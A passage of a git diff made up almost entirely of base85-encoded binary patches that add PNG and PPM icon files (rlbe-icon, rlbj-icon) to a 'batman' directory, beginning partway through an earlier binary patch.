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 G_x}M(#?y8H literal 0 HcmV?d00001 diff --git a/batman/rlbe-icon.png b/batman/rlbe-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..ea4caefa3604240913c8538ab0923e3ffe9b5380 GIT binary patch literal 2221 zcmV;e2vYZnP)WDxs(nh*k)akf>4=)zE~H z0-+`;QBV>WjBx1IPBRU%U2tcXp=V`0kD!)7VHYQGV>z?C8#!^Z4#}&bfD% z88<$DhOOO%AI^C{B>Wo-bP z8i)<@P=N_XBR!XYn^PwJ+6zluG! z#dPhe{PC$NN(tPWEu_6gE?;Xnb8@P!Icj&(s;5lDL(2QLlN8<^PU3WvR4;XTXj%qc zl*2>#g91JyTa(~b-eTV2q7xw%k5Iz}VPHs&#kkaT3UJV;l!J~zB0yHOOt3piN}8rt zyh03)sgn~bCPtGMsIXWFjw@XqGGG-g7hs!PD0s7IPghLygCFR@C2770h$&dADXqL) z#2hYgrF!|or9xkK3~FwVc0mY+B#A>*QJkila*%`LoP55pShU(ShYlxQUMfI-y*-Ag zSSs$B*?eEO5*Sj#ld7*w(_B$5B6Rn)1fYyX{FhDg>w80Q{&`|-L|I-U!e*&YY`q*k zw0Gi-eG|yYs&$6e%krVUA#e^~5CWggL18NyHHLVe^Q2MuEhrL@=-M|l!w-&zbMgg1 z1bVzhj^GD*heMcvq{Vj%ci(3yULlN+szU<_K;A4K93sH=c6n$($uAPHZU`e&Tu+w_ zUy8y3Vq{9iLTwHr2pT;wM0m(~K3>E$A4>>7Hlk+b@W?k)@@V)p=#=L` z`&3wEa#T!4rhQ{oI3t?}RVZXMgvCZMXDB5TR${bRLzu(=h6hqHxzgCn%)2^bWXpTcBzBP5?)$%JI}zwYhlJ+IE1*@|J|01|2u z%isLRXlPvZq)7%ohZh>~YBZoyV#H)5pz8YmK?R|M<0?GQ0OE-|66+rDH=`KS?2oLg zkWi0=GnqwS;T`2n4+?C;6RX)0&{KxR42O@jw?xrOxmi^Jgk%9_rt1mL6_3i&ckho3 zMxn^SXDu)7{MX4i9~-NT0(F&?-;wGa9qdmOHJqM0ak0`jSm_(;^S_s~Xmw5=kKFOZ zIdf6lbjq+z+EB|0J~&D&zk6Zy@%8>^A03tzzs*k2bl)%}PPS1!@iVhFr`bHM@20=-)B!_mX@$8D1*4yaV=e19tVZ9#`&VV2ml-DeV9IR%w^idZ~5S}LvL5!~i z`q+z?6+AZ{Idkr85Oui8k|jrRphAc zNWejOBlt?Iei4!#t1Xj41WIB%ou29#y8p8l#oFVkr z%^ynWJADpHu%}_SL|s#jDno)H_NdLVvtdU~Y{79u2yr0J@eiJGG|dSI9i~QaF_UuBh0mkk^=Bnc<5vH}OO|Pc`ut8SGRUa@<9 zSp2Oh4ct)7j{Yl+QG5yA=vJsO238^wH6@Kdb#w|JEy=$E$&noM{87}t4!=)>e%}~c z0MOyXhY2Co)zxz(Wo2dTv7w=%va*s)54YRBd-v`+9w20|z6*wihlhdY^y$<3VG+HB300PTVUhD)jm71>|yRe=IsXJHZO>2M!zn ztd5Qj_7)P52OY?9#~hN|3kZ~ymX=}yK>7Lks1>Aa4n3PUZw7_8PSXF{Wp#CRJ9g~Q zAAwA-ca}Q_1+eC1^IL~H?>K+{Jaj;VE~%}pWdUy1WHrQ4Vtm^I=8s5krApA-`r_Dx z$yvkW&OieYlh2c#g|ntEG#Kaqb)l%%n_n?H8M4`YFlr&6KitBA^nTXkv2J1mb5_@S vnPUrJKvBzc{4kWW&2JvbvuvU99{~mctV~<^IF_4;00000NkvXXu0mjf_zfh< literal 0 HcmV?d00001 diff --git a/batman/rlbe-icon.ppm b/batman/rlbe-icon.ppm new file mode 100644 index 0000000000000000000000000000000000000000..77384ee126a648f0a880b7e1eb352e81dac4a6f1 GIT binary patch literal 6925 zcmeH}e@xVM7{}wd`Idd*50#S)BLJZ+J4md!v{;1dS=%?>s110{dW1oHZe4p?0A4KHhStb^L??g=G%OKJ_dXY_!#gpaD#y*Y3B6I;Iy?ttJVcQwI(QPxIbUQ zBmGlXdo_G|G}SzOr2n#K%)Da8L7BAJG)NG-R`wF2kDkRZJrVrfc#*BadlSk z$_%gBU6Tz~n~ty#B^vpp)A=Po7MQZaYsuH~6AdUaAkMrcfyn%kWqrOyotWv~m{T7J zP@1gQEreaLEKq3>;$|5~j?rhnYT=1}uti6FlmOEPq!us$_1X2ora(V?xbDSV3$=(a zf2kM4J+aFQfk3wZ6U}^sm``ly`1;TR=7Vo3@%dkbuulEkjA07|8JH~(#kYWSF zM1yU;-fwqFXwDX^=waiF@(5D%3Lb*fQ@jwM3nk-mq%53_$bdxVz^%Ab-Jvt#rKiJ> zS4J>YqU3p^DgtgNOfmrD;K{I(ufj%+)t{`6T$>XtHjqOc@B|qB4xbI*vEL^8hm%Yd z&asr1Fy92{-!(+R02LjphyWfo1T1eFAwz<`!g&XWi4u2%!SBFPJDP8Pi3FP{dE!#t zl6b*2^MY#@0_<^RDxDLV4KPqCod3`mh0Gx-)QNB6LQ{3iBe>jnCUTGHCMl>6@Zcoo z@^mi%#t)gW+SJs7`=_VEn0bZgT=Qf{YpOc%Nq^6~;?BFK!zAqC@?+B&E)IAqoD(2f zd>Iu->l4Zm0TSpY$}_)4;!C9{p$>a`2W;>#-YPZtF`&OngK)t$n?r-nUW%-3TLs&U zE1J6Y7t|q+;Hhek!9d($zOH>udDAeu3~YRvG+M8`L||WGPikIk+tTQ=%Fe8!JlA}0 z#IS!r*0>il641*HI_-%3$vto8Tw`@h(q&JsI?x3k4mh!qfHb1slP%-HttSp(7&hf4 z0(%Mjqu)o!>${(XiaS+HmU>T?1Q9)$nHiCpTgs&Gj@ISCCO(^iegTq20iGK70%l2! zDY>B|U#OC)Wsqtknu5`Xd6X_9OFSf-0+`0q|GVSz{uM8XZTq23d z6VA!_@rf|*4kf?C;>*r-cD*CJg56cup22ovGZ2u4gAH{x zb{1mB9%#P07wX813wplN;>OM$FjM1R#1yfyCG4g4Om}ywI*cp9DO_Rx_HqP8jRy>die_OseYTN>K%#x0*(t5AeO+za zN_HB++}$OrWu*38JE2a-Mhn56U3&;3dATM~DtG{2)f_8&7F65spOb=DE;!`BUutK+ zHFRvDB9u@^B8C>)YunOE4bFy+&9K3b3mGK^eMe@MNm%X;>);7SZCG3Dt2w@267pJLf7k5ouSjF9c*2sDpFvt)Zz%XMeD~oH(U6bJ4 z7kBqT`R8E>(+wDk|IMmfl9^a6pWhHn`-FUc;MA@jFvt)Z&~dJV{0?$K_=RE~h|f*e zF8?9S=nLgz;J?AZU%tP8!9Yn#31g6wlA>aWCMG6EG-YLF@$vC8DxsmF1qB7lQUsKI z<=IO=xYz#ixZQ3^ryX4_q@toC^$B@!7_?sf;~_QaqNAe$hF5xey1c3gLY;al{h)>Z z@u>2%v$GuzN3SesfCqsHLStW>UM>T^_Kyd521#`U0bnYoum@>qm_WX2TdB-$Nf;0h zodSavk{WgTh@J>!lsIT^DSKaIt`9L)3Kdy<^m(2QtLiwNdH^MzX6?^I7$Ej literal 0 HcmV?d00001 diff --git a/batman/rlbj-icon.png b/batman/rlbj-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..360f78cdf67296cff470a4a46d525f60bdf2aea5 GIT binary patch literal 2143 zcmV-l2%z_gP)2n_XjG|)qLzezSLX45T8igeX7uYP`C0?s+8tKlvL^$LH@^RyI-`DZS z)>|%JP(C^~O(}s}tBrKED^)8@Cyq{cw#6JSTKlABWLSN-VT!`L(?wh!lIf#vFU`uK za|(C}zgNQN%603kBE~mI}T++S?u1{ooJu;E{A+1jLlg*OeCE zEn*HAcrtx_>3pHTCk{1_SAQS`Lz2WHswgI?rX1wpxS*IXEf?*w?$GI?3o8Z4FL%We z6-SEAGk%D3Y z5P=@6$PxS??{EkckTmyB;qLoP<%@)gF>QD-1<04jgF^(k+@%Z;s>Njj_6=cln(OUW z;7e6GK#Wdn*r@Czf}qm_LxhK%=acn_bX)C&@!fqf4%=_~)a)Gn70wajr<<&6>&yfF zanvaEFSIGh^5);zm)vV=KdUe&LIMz7uvlzsRZJ3B{X+@i$49li0v`EhN?skG4xREG zXrGQ~Opc1l$#tx$jpXF>pbCYI17VX1<_x7|!A{IJdl+;0U;RKPCg)rFn0fbC@rg0j zUy%_CjUgK|fIMDl{ZkcBZV2n8Ni1(4_!J>MZf{P0A8G|P3vh_RDi@T1-V`8C;*0Ay zmvEfM4y(>fj7|VYn#S=|u3cBYbVV0H#03lgGnd^Rnb0?#+^xgXd zlUXP;@p%g?FMfD5$;X;nvq0SyRd;0i#)bw`MGdFNj-09S57qdG`vdP3%vn}Y#3Oe+ zam_qbPNWQNQbsMO_~0n9{qDK3$5#cOesn}p1G0nQ&|PClT&z(&@iVJFr};mA+QQ89 z3x$fsOCfYhHTSGCF(CuwL`%RS!kHf%QAO&r*z~QBP9NH{cgHLHc7$V1AeK^&DI0(g zi6@SDoD~GX$zTWvP2*yRj_iW%XRR;u)Cohhw9>+dLa~2G;_a(eFT=Tm$@d?W98z^K z@+Q2l-(;Nugk3)R__Du$knwJl*FX2?5#>Vf<+zE@J$>ryKm2<9#b1sO23thxB?&;3 z*eOXGqa_M71EtOKB2b+Smz%2E#J1q3oULW^48hrnA1b%%{zz-6++xuLzAy! z2}~S&?*w9_eV^(0b5Wrm*D98FZkvD_z8895{H>7${q(X+ls$}XOdw|p=ZC5WLObx0 zfQ#@-=%tRp8YchM@8xjx%!bW2b^wtDQ6zW_C-{XESm9xkL>>uTp{@-zh5^DPLpWdG z{!qfXGv=TKJq_Iwbxn1uOeu!gt3F3(Lq|=u;G`jhxDc=N51w!}T^9~IOpVUwEAG?QHxa^XA6l zXQMQDMYTEy&bP$yC3K}nrNTH^iAJ@IEdJQRX?(P#{}o7&^ti!4iu%{#?KJ4^#?b!; zXzSLkgplpqx9i<<$r5tysH>|>Hqyk>#*G^dLo7kEfB*hl$`ImR4Px)!y~mFqztt&g zXlT$90~3bnI!14!8gjec&CSg$zqbw$D-NT8>g(%`r7c^w;1_^KMn?WW4E-rFjMwVw zYTyH!s|)Kphj8O%xbt{CAU_xkve$3d(7JW&ZU7N=jlzP5o5PShF@S?rD{6uXXJ1Av zakJ0bcc+Y%1*;VRLW~D=Tki4S{w80m`DWv2pecv9V{*p7dRI^TvM!7y$9Z VECS+*QYZib002ovPDHLkV1l%|2tfb< literal 0 HcmV?d00001 diff --git a/batman/rlbj-icon.ppm b/batman/rlbj-icon.ppm new file mode 100644 index 0000000000000000000000000000000000000000..8d01aa8f49758137107f976e03aac33bd1f239ca GIT binary patch literal 6925 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 